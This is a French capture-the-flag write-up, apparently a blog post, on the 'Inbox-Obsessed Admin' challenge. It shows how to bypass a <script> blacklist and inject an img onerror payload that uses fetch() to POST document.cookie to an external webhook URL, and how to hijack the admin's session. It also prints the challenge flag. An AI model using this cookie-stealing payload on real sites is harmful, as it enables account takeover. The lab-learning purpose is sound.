Post

Inbox-Obsessed Admin

𝄞 Introduction

Intro

L’objectif de ce challenge est de compromettre le compte administrateur en exploitant une faille XSS pour lui voler son cookie de session, permettant ainsi d’obtenir le flag.

𝄞 Solution

Accueil

La page d’accueil affiche une interface assez simple, proposant deux fonctionnalitĂ©s principales :

  • BoĂźte de rĂ©ception
  • Envoi de messages

𝄞𝄞 BoĂźte de rĂ©ception

Nous avons la possibilitĂ© d’envoyer des messages aux utilisateurs nommĂ©s “user” et “admin”.

Send_user
Send_admin

L’idĂ©e ici est de tenter une injection XSS dans le message pour voler le cookie de session de l’utilisateur qui ouvrira l’e-mail.

𝄞𝄞 Envoyer un message

Pour tester cette hypothùse, nous essayons d’abord avec un payload simple :

1
<script>alert("fxoverflow")</script>

Malheureusement, le mot-clé <script> est bloqué par une blacklist.

blacklist

Nous devons donc trouver une alternative sans utiliser cette balise.

Nous essayons le payload suivant :

1
<image/src/onerror=prompt(8)>

Celui-ci fonctionne, ce qui confirme que l’application est bien vulnĂ©rable Ă  une attaque XSS, nous permettant ainsi de capturer le cookie de l’utilisateur qui consulte l’e-mail. Pour valider le fonctionnement, nous envoyons un message contenant cette XSS Ă  notre propre utilisateur afin de vĂ©rifier que le cookie est rĂ©cupĂ©rĂ© lors de la consultation du message.

Payload final

Nous utilisons ce payload pour exfiltrer le cookie :

1
2
3
4
5
<img src="q" onerror="fetch('https://webhook-test.com/7136433249cbc8fd15442c54de08e7d6', {
  method: 'POST',
  mode: 'no-cors',
  body: document.cookie
})">

En interceptant la requĂȘte d’envoi de message avec Burp Suite, nous observons deux paramĂštres dans la requĂȘte POST :

Burp

recipient
message

AprĂšs l’envoi, aucun rĂ©sultat
 Ce n’est qu’aprĂšs quelques minutes de rĂ©flexion que nous rĂ©alisons que le message Ă©tait envoyĂ© Ă  l’utilisateur “user”, alors que nous sommes l’utilisateur “2”.

Nous modifions donc la valeur du paramĂštre recipient en 2 pour correspondre Ă  notre propre compte.

Burp2

DĂšs lors, en consultant notre boĂźte de rĂ©ception, nous constatons que le message piĂ©gĂ© est bien prĂ©sent et que l’attaque XSS est activĂ©e sans alerte pour l’utilisateur.

xss

En ouvrant l’e-mail, nous capturons le cookie de session de notre utilisateur sur le site :

webhook

Pour finaliser l’attaque, il suffit de rĂ©pĂ©ter ce processus pour l’utilisateur admin, en profitant du bot chargĂ© de lire les e-mails du compte administrateur. Cela nous permet de rĂ©cupĂ©rer le cookie administrateur et de nous connecter en tant qu’administrateur.

𝄞 FLAG : PPC2024{4K7Uzpxw8V82Nn} 𝄞

This post is licensed under CC BY 4.0 by the author.